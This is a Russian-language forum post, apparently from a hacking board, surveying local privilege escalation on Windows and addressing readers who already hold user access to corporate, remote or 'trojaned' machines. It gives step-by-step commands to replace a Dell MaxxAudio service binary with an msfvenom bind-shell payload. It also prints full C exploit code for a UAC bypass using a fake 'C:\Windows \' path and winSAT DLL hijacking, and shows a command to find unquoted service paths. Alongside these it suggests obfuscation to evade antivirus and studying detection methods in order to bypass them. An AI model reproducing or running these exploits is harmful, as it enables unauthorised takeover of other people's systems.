И на "Античате", и на других ресурсах подобной направленности зачастую интересуются методами локального поднятия привилегий в Windows. Оно и понятно, сценарий достаточно широко распространенный - получил любопытный гражданин штатный доступ хоть к пользовательской учетной записи корпоративного рабочего места, хоть к удаленному RDS-серверу в рамках какой-нибудь образовательной программы, или "затроянил" пользовательскую почту на компьютере бабушки-соседки,а ручки-то чешутся - и перед настойчивым естествопытателем во весь рост встает вопрос "что делать дальше ?". К тому же, получить к тому или иному, особенно работающему в многопользовательском режиме компьютеру/серверу, пользовательский доступ куда проще, чем административный. Техники локального повышения привилегий в Windows насчитывают как минимум более десятка видов, и далеко не всегда связаны с необходимостью корпения над отладчиков или дизассемблирования kernel-модулей, хотя компания Microsoft, безусловно, достаточно много делает для улучшения безопасности своих ОСей последние несколько лет. Однако закончим "разливаться мыслью по древу", и перейдем к конкретике. Все приведенные ниже примеры конкретных уязвимостей достаточно свежие, и присутствуют in the wild весьма широко. Прежде всего надо заметить, что поиск векторов для локального повышения привилегий в Windows - процесс достаточно трудоёмкий, требует системного подхода и внимательности к деталям, поэтому начнем со схемы, позаимствованной из презентации сотрудника "Лаборатории Касперского" @HeirhabarovT Одно из наиболее свежих руководств, более-менее системно описывающих процесс поиска путей повышения привилегий, здесь, и включает в себя: - инвентаризацию системы и установленных в ней обновлений - инвентаризацию пользователей системы, их членства в группах, поиск сервера авторизации (при работе в домене) - поиск в реестре учетных данных для автологона - поиск данных в Credential Manager - наличие доступа к файлами реестра (я бы добавл - и поиск их резервных копий) - инвентаризацию установленных программ, служб и сервисов, включая права на их использование и права на доступ к соотнесенными с ними файлам на диске - инвентаризацию заданий по расписанию (стороннее ПО иногда любит добавлять туда свои компоненты для обновления или резервного копирования) - инвентаризацию процессов, запускаемых при старте системы (autorun) - инвентаризацию сетевого окружения (таблица маршрутизации, подключенные сетевые диски и пр.) - поиск компонентов web-серверов (IIS, Apache). Скрипт для инвентаризации можно найти здесь (он не единственный, их вообще достаточно много). Хотя список этот далеко не полный - например, не выполняется проверка наличия файлов с параметрами автоматической установки (sysprep/unattended), нет поиска объектов GPO - однако пользоваться им в практической деятельности достаточно удобно. Кое-что из жизни. Типичный пример неправильного назначения разрешений при установки драйверов - уязвимость с возможностью перезаписи файла драйвера звуковых устройств MaxxAudio (maxx.com), устанавливаемый по умолчанию на некоторых ноутбуках компании Dell. Драйвер представлен службой с именем wavessyssvc, выполняющейся с привилегями LocalSystem Code: sc qc wavessyssvc ... SERVICE_NAME: wavessyssvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Waves Audio Services DEPENDENCIES : SERVICE_START_NAME : LocalSystem однако при этом к файлу имеют доступ и локальные пользователи тоже Code: icacls "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe" C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe Everyone:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) ACME\user:(I)(F) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) Напрямую файл заменить не получится - драйвер запущен - однако его можно переместить в другую локацию с новым именем Code: move "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe" "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.bak" а на освободившееся место положить имеющий формат драйвера Windows payload Code: copy service.exe "C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe" предварительно сгенерированный Metasploit-ом Code: msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe-service -o service.exe (пример взят с exploit-db) Да, использовать этот метод "в лоб" вряд ли получится - практически стопроцентно среагирует антивирус, и для активации нужен перезапуск слубы (чего пользователь сделать не может), либо перезагрузка компьютера. Для решения этих проблем есть обфускация, да и вообще использовать Metasploit для shell тут не обязательно, ведь к рабочему месту доступ и так уже есть - гораздо логичнее написать простейшую "обертку" драйвера, который при запуске выполнит, например, добавление в группу "Администраторы" всех локальных пользователей, или сменит пароль администратора на любой желаемый. Впрочем, не надо думать, что такими недостатками страдают исключительно продукты сторонних фирм. В конце прошлого года в механизме контроля доступа была обнаружена весьма элегантная уязвимость, связанная с подменой пути для особо доверенных файлов, повышение привилегий которых выполняется автоматически, без дополнительных запросов. Файлы при этом должны удовлетворять трем критериям - они специально сконфигурированы для автоматического повышения привилегий, правильно подписаны и исполняются из надежного каталога/директории. Основная мысль exploit-а состоит в том, чтобы заставить Windows проверять один (легальный правильный) файл, а исполнять - другой (нелегальный, с payload). На примере утилиты winsat.exe (это такое средство для цоенки производительности Windows) алгоритм эксплуатации включает следующие шаги: - с использованием API создается "фейковый" путь для обмана проверок UAC - каталог "c:\Windows \" (с символом ПРОБЕЛ в конце пути), и каталог System32 внутри него - в этот созданный каталог заливается "неправильный" (содержащий злонамеренный код) файл winsat.exe При запуске этого "неправильного" файла при проверке UAC в результате "нормализации" пути пробел отбрасывается, и все проверки выполняются для "правильного" файла - и действительно, он подписан, сконфигрирован для автоматического повышения привилегий и лежит по доверенному пути. А фактически запускается - наш ! Весь код для эксплуатации укладывается в пару десятков строк и выглядит так - Code: #include "stdafx.h" #include <Windows.h> #include "resource.h" void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) { HMODULE hMod = GetModuleHandle(NULL); HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName); DWORD dllSize = SizeofResource(hMod, res); void* dllBuff = LoadResource(hMod, res); HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL); DWORD sizeOut; WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL); CloseHandle(hDll); } int main() { _SHELLEXECUTEINFOW se = {}; //Create Mock SystemRoot Directory CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0); CreateDirectoryW(L"\\\\?\\C:\\Windows \\System32", 0); CopyFileW(L"C:\\Windows\\System32\\winSAT.exe", L"\\\\?\\C:\\Windows \\System32\\winSAT.exe", false); //Drop our dll for hijack DropResource(L"DATA", L"\\\\?\\C:\\Windows \\System32\\WINMM.dll"); //Execute our winSAT.exe copy from fake trusted directory se.cbSize = sizeof(_SHELLEXECUTEINFOW); se.lpFile = L"C:\\Windows \\System32\\winSAT.exe"; se.lpParameters = L"formal"; se.nShow = SW_HIDE; se.hwnd = NULL; se.lpDirectory = NULL; ShellExecuteEx(&se); return 0; } (пример взят с exploit-db, а более детальный анализ уязвимости можно посмотреть тут) Завершим этот коротенький обзор следующим занятным примером, также связанным с неправильной обработкой путей при запуске служб в Windows. Если в пути к файлу службы отсутствуют кавычки (а это часто бывает по недосмотру разработчиков или просто), то Windows будет искать исполняемый файл по всем разделенным пробелами путям типа Code: c:\Program.exe c:\Program files.exe и так далее, и, при обнаружении файла с таким именем, исполнит его. Найти такие службы достаточно просто - Code: wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "c:\windows\\" | findstr /i /v "" Тему более полно раскрывает видео с последней (на текущимй момент) конференции Offzone Moscow, докладчик - сотрудник "Лаборатории Касперского" @HeirhabarovT, и, кроме методов повышения привилегий, рассказывает также и о методах обнаружения таких действий со стороны средств мониторинга вроже Sysmon. Методы обнаружения дадут внимательному зрителю массу впечатлений, и натолкнут на множество мыслей по их обходу, поэтому и видео, и презентация весьма рекомендуются к ознакомлению. Ссылка на презентацию тут. А вот его же презентация на ZeroNights 2017, затрагивающая эту же тему, но больше акцентированная на тему защиты - Ссылка на презентацию здесь. Понятно, что список специалистов по преодолению защитных механизмов Windows сотрудниками "ЛК" не ограничивается - вот еще выступление и презентация с этой же конференции на тему обхода UAC (осторожно, глубокое погружение в тему) Ссылка на презентацию здесь. Интересующимся можно также посмотреть презентацию с Defcon 22 на тему получения хэшей других локальных (или локально залогиненных доменных) пользователей компьютера/сервера без наличия административных прав Ссылка на презентацию здесь. Отдельно стоит остановиться на приемах технического противодействия, используемых опытными админами или производителями антивирусных и контрольных средств для предотвращения подобной деятельности вроде регулирующих различные виды доступа групповых политик. Вопросы защиты куда как более актуальны в больших корпоративных средах, то на отдельных пользовательских рабочих местах их практически не встретишь - и это отдельная большая тема. P.S.: Если в рамках данного (или отдельного) поста интересует более подробное раскрытие темы с картинками и видео, описывающие реальные кейсы, или список технических защитных мер со стороны админов и противодействие им со стороны злоумышленника - пожалуйста, одобрите пост и напишите пожелания в комментариях.
